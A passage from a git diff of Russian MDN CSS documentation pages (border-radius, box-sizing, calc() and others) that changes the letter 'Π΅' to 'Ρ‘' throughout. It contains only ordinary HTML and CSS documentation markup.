-<p>Если Ρ€Π΅ΠΆΠΈΠΌ записи (writing mode) ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code> block-size относится ΠΊ ΡˆΠΈΡ€ΠΈΠ½Π΅ элСмСнта; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС это относится ΠΊ высотС элСмСнта. Π‘ Π΄Π°Π½Π½Ρ‹ΠΌ свойством связано свойство {{cssxref("inline-size")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°Π΄Π°Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ элСмСнта.</code></p>
+<p>Если Ρ€Π΅ΠΆΠΈΠΌ записи (writing mode) ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code> block-size относится ΠΊ ΡˆΠΈΡ€ΠΈΠ½Π΅ элСмСнта; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС это относится ΠΊ высотС элСмСнта. Π‘ Π΄Π°Π½Π½Ρ‹ΠΌ свойством связано свойство {{cssxref("inline-size")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°Π΄Π°Ρ‘Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ элСмСнта.</code></p>
<p><code>{{cssinfo}}</code></p>
@@ -92,7 +92,7 @@ block-size: unset;
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ"><code>Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</code></h2>
-<div class="hidden"><code>Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ запрос.</code></div>
+<div class="hidden"><code>Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ запрос.</code></div>
<p><code>{{Compat("css.properties.block-size")}}</code></p>
diff --git a/files/ru/web/css/border-image-slice/index.html b/files/ru/web/css/border-image-slice/index.html
index 9841ac6e97..4a7890a181 100644
--- a/files/ru/web/css/border-image-slice/index.html
+++ b/files/ru/web/css/border-image-slice/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/border-image-slice
<h2 id="ОписаниС">ОписаниС</h2>
-<p>CSS свойство <strong><code>border-image-slice</code></strong>Β  Π΄Π΅Π»ΠΈΡ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π² {{cssxref("border-image-source")}} Π½Π° Π΄Π΅Π²ΡΡ‚ΡŒ областСй: Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΡƒΠ³Π»Π°, Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ края ΠΈ сСрСдину. Π­Ρ‚ΠΎ происходит ΠΏΡƒΡ‚Π΅ΠΌ указания 4 Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… смСщСний.</p>
+<p>CSS свойство <strong><code>border-image-slice</code></strong>Β  Π΄Π΅Π»ΠΈΡ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π² {{cssxref("border-image-source")}} Π½Π° Π΄Π΅Π²ΡΡ‚ΡŒ областСй: Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΡƒΠ³Π»Π°, Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ края ΠΈ сСрСдину. Π­Ρ‚ΠΎ происходит ΠΏΡƒΡ‚Ρ‘ΠΌ указания 4 Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… смСщСний.</p>
<p><a href="/files/3814/border-image-slice.png" style="float: left;"><img alt="The nine slices defined by the CSS border-image shorthand or border-image-slice longhand properties" src="/files/3814/border-image-slice.png" style="height: 132px; margin: 1px; padding: 1em; width: 250px;"></a>Π§Π΅Ρ‚Ρ‹Ρ€Π΅ значСния ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π»ΠΈΠ½ΠΈΠΉ срСза. If some are not specified, they are inferred from the other with the usual 4-value syntax of CSS.</p>
diff --git a/files/ru/web/css/border-radius/index.html b/files/ru/web/css/border-radius/index.html
index 3a597a4b3b..d08dd0e681 100644
--- a/files/ru/web/css/border-radius/index.html
+++ b/files/ru/web/css/border-radius/index.html
@@ -10,7 +10,7 @@ translation_of: Web/CSS/border-radius
---
<div>{{CSSRef}}</div>
-<p><strong><code>border-radius</code></strong> β€” это <a href="/ru/docs/Web/CSS">CSS</a>-свойство, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠΊΡ€ΡƒΠ³Π»ΡΡŽΡ‚ΡΡ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±Π»ΠΎΠΊΠ°. Π—Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒΒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° опрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π΄Π²ΡƒΡ… радиусов, опрСдСляя Π΅Π³ΠΎ Ρ„ΠΎΡ€ΠΌΡƒ: ΠΊΡ€ΡƒΠ³ ΠΈΠ»ΠΈ эллипс.</p>
+<p><strong><code>border-radius</code></strong> β€” это <a href="/ru/docs/Web/CSS">CSS</a>-свойство, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠΊΡ€ΡƒΠ³Π»ΡΡŽΡ‚ΡΡ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±Π»ΠΎΠΊΠ°. Π—Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½ΠΎΡΡ‚ΡŒΒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° опрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π΄Π²ΡƒΡ… радиусов, опрСдСляя Π΅Π³ΠΎ Ρ„ΠΎΡ€ΠΌΡƒ: ΠΊΡ€ΡƒΠ³ ΠΈΠ»ΠΈ эллипс.</p>
<div>{{EmbedInteractiveExample("pages/css/border-radius.html")}}</div>
@@ -22,7 +22,7 @@ translation_of: Web/CSS/border-radius
<p>Бвойство <code>border-radius</code> Π½Π΅ примСняСтся ΠΊ элСмСнтам Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΊΠΎΠ³Π΄Π° свойство {{Cssxref ("border-collapse")}} ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>collapse</code>.</p>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Как ΠΈ с Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ сокращСнным свойством, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ подсвойства Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒΡΡ. НапримСр, ΠΊΠ°ΠΊ Π² <code>border-radius:0 0 inherit inherit</code>, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ частично ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ опрСдСлСния. ВмСсто этого Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ свойства.</div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Как ΠΈ с Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ сокращённым свойством, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ подсвойства Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒΡΡ. НапримСр, ΠΊΠ°ΠΊ Π² <code>border-radius:0 0 inherit inherit</code>, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ частично ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ опрСдСлСния. ВмСсто этого Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ свойства.</div>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -39,7 +39,7 @@ border-radius: 2px 4px 2px;
/* <em>top-left</em> | <em>top-right</em> | <em>bottom-right</em> | <em>bottom-left</em> */
border-radius: 1px 0 3px 4px;
-<strong>/* Бинтаксис ΠΈΠ· Π΄Π²ΡƒΡ… радиусов Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊΠΎ всСм Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ΠΌ ΡƒΠ³Π»Π°ΠΌ */</strong>
+<strong>/* Бинтаксис ΠΈΠ· Π΄Π²ΡƒΡ… радиусов Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊΠΎ всСм Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌ ΡƒΠ³Π»Π°ΠΌ */</strong>
/* (ΠΏΠ΅Ρ€Π²Ρ‹Π΅ значСния радиуса) /<em>радиус</em> */
border-radius: 10px 5% / 20px;
diff --git a/files/ru/web/css/border-width/index.html b/files/ru/web/css/border-width/index.html
index 05b2360748..19fe6770ab 100644
--- a/files/ru/web/css/border-width/index.html
+++ b/files/ru/web/css/border-width/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/border-width
<h2 id="Summary">Summary</h2>
-<p>CSS свойство {{cssxref("border-width")}}<span style="line-height: 1.5;"> опрСдСляСт ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ€Π°ΠΌΠΊΠΈ элСмСнта. Но ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΅Π΅ Π·Π°Π΄Π°ΡŽΡ‚Β Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, Π° Π² составС свойства {{cssxref("border")}}.</span></p>
+<p>CSS свойство {{cssxref("border-width")}}<span style="line-height: 1.5;"> опрСдСляСт ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ€Π°ΠΌΠΊΠΈ элСмСнта. Но ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΅Ρ‘ Π·Π°Π΄Π°ΡŽΡ‚Β Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, Π° Π² составС свойства {{cssxref("border")}}.</span></p>
<p>{{cssinfo}}</p>
diff --git a/files/ru/web/css/border/index.html b/files/ru/web/css/border/index.html
index 6ae7e6460b..93ce8b8020 100644
--- a/files/ru/web/css/border/index.html
+++ b/files/ru/web/css/border/index.html
@@ -25,7 +25,7 @@ border: medium dashed green;
<p>Β </p>
<div class="note style-wrap">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> РСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>border</code>, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ всС свойства границ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π’ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΒ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, ΠΈ {{Cssxref("border-color")}} Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ Π΄ΠΎ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, позволяя ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ€Π΅Π±Ρ€Π°, <code>border</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ свойства. И этот ΡΡ‚ΠΈΠ»ΡŒ примСняСтся для всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π³Ρ€Π°Π½ΠΈΡ†.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> РСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>border</code>, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ всС свойства границ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π’ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΒ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, ΠΈ {{Cssxref("border-color")}} Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ Π΄ΠΎ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, позволяя ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ€Π΅Π±Ρ€Π°, <code>border</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ свойства. И этот ΡΡ‚ΠΈΠ»ΡŒ примСняСтся для всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π³Ρ€Π°Π½ΠΈΡ†.</p>
</div>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/css/bottom/index.html b/files/ru/web/css/bottom/index.html
index c0190058df..5ecde8ca47 100644
--- a/files/ru/web/css/bottom/index.html
+++ b/files/ru/web/css/bottom/index.html
@@ -150,7 +150,7 @@ div {
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("css.properties.bottom")}}</p>
</div>
diff --git a/files/ru/web/css/box-shadow/index.html b/files/ru/web/css/box-shadow/index.html
index b50dded28d..3366118622 100644
--- a/files/ru/web/css/box-shadow/index.html
+++ b/files/ru/web/css/box-shadow/index.html
@@ -53,7 +53,7 @@ box-shadow: unset;
<ul>
<li>Если Π·Π°Π΄Π°Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π° значСния, ΠΎΠ½ΠΈ интСрпрСтируСтся ΠΊΠ°ΠΊ <code><a href="#&lt;offset-x> &lt;offset-y>">&lt;offset-x&gt;&lt;offset-y&gt;</a></code> values.</li>
<li>Если Π·Π°Π΄Π°Π½ΠΎ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ½ΠΎ понимаСтся ΠΊΠ°ΠΊ <code><a href="#&lt;blur-radius>">&lt;blur-radius&gt;</a></code>.</li>
- <li>Если Π·Π°Π΄Π°Π½ΠΎ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ½ΠΎ интСрпрСтируСтся <code><a href="#&lt;spread-radius>">&lt;spread-radius&gt;</a></code>.</li>
+ <li>Если Π·Π°Π΄Π°Π½ΠΎ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ½ΠΎ интСрпрСтируСтся <code><a href="#&lt;spread-radius>">&lt;spread-radius&gt;</a></code>.</li>
</ul>
</li>
<li>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code><a href="#inset">inset</a></code>.</li>
diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html
index f0d5760e9e..72dda8d87a 100644
--- a/files/ru/web/css/box-sizing/index.html
+++ b/files/ru/web/css/box-sizing/index.html
@@ -38,7 +38,7 @@ translation_of: Web/CSS/box-sizing
<dl>
<dt><code>content-box</code></dt>
- <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π² CSS стандартС. Бвойства <a href="/ru/docs/Web/CSS/width">width</a> ΠΈ <a href="/ru/docs/Web/CSS/height">height</a> Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΈ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ <a href="/ru/docs/Web/CSS/padding">padding</a> ΠΈ <a href="/ru/docs/Web/CSS/border">border</a>. НапримСр <code>.box {width: 350px; border: 10px solid black;}</code>Β  Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 370 пиксСлСй.</dd>
+ <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π² CSS стандартС. Бвойства <a href="/ru/docs/Web/CSS/width">width</a> ΠΈ <a href="/ru/docs/Web/CSS/height">height</a> Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΈ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ <a href="/ru/docs/Web/CSS/padding">padding</a> ΠΈ <a href="/ru/docs/Web/CSS/border">border</a>. НапримСр <code>.box {width: 350px; border: 10px solid black;}</code>Β  Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 370 пиксСлСй.</dd>
<dd>Π Π°Π·ΠΌΠ΅Ρ€Ρ‹ элСмСнта Ρ€Π°ΡΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ: <em>width = ΡˆΠΈΡ€ΠΈΠ½Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em>, ΠΈ <em>height = высота ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em>. (Π“Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ отступы Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² вычислСниС.)</dd>
</dl>
diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html
index 5dd08d22f0..550760de0a 100644
--- a/files/ru/web/css/calc()/index.html
+++ b/files/ru/web/css/calc()/index.html
@@ -44,7 +44,7 @@ translation_of: Web/CSS/calc()
<h3 id="ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°_Π²_ΠΎΠΊΠ½Π΅_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_отступа">ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² ΠΎΠΊΠ½Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ отступа</h3>
-<p><code>calc()</code> Π΄Π΅Π»Π°Π΅Ρ‚ простым ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ отступа. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся Π±Π°Π½Π½Π΅Ρ€ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΉ Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ всС ΠΎΠΊΠ½ΠΎ с отступами ΠΏΠΎ краям Π² 40px.Β </p>
+<p><code>calc()</code> Π΄Π΅Π»Π°Π΅Ρ‚ простым ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ отступа. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся Π±Π°Π½Π½Π΅Ρ€ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΉ Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ всС ΠΎΠΊΠ½ΠΎ с отступами ΠΏΠΎ краям Π² 40px.Β </p>
<pre class="brush: css notranslate">.banner {
position: absolute;
diff --git a/files/ru/web/css/class_selectors/index.html b/files/ru/web/css/class_selectors/index.html
index 714ac4588e..99c15c63d6 100644
--- a/files/ru/web/css/class_selectors/index.html
+++ b/files/ru/web/css/class_selectors/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/Class_selectors
<h2 id="Summary" name="Summary">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС</h2>
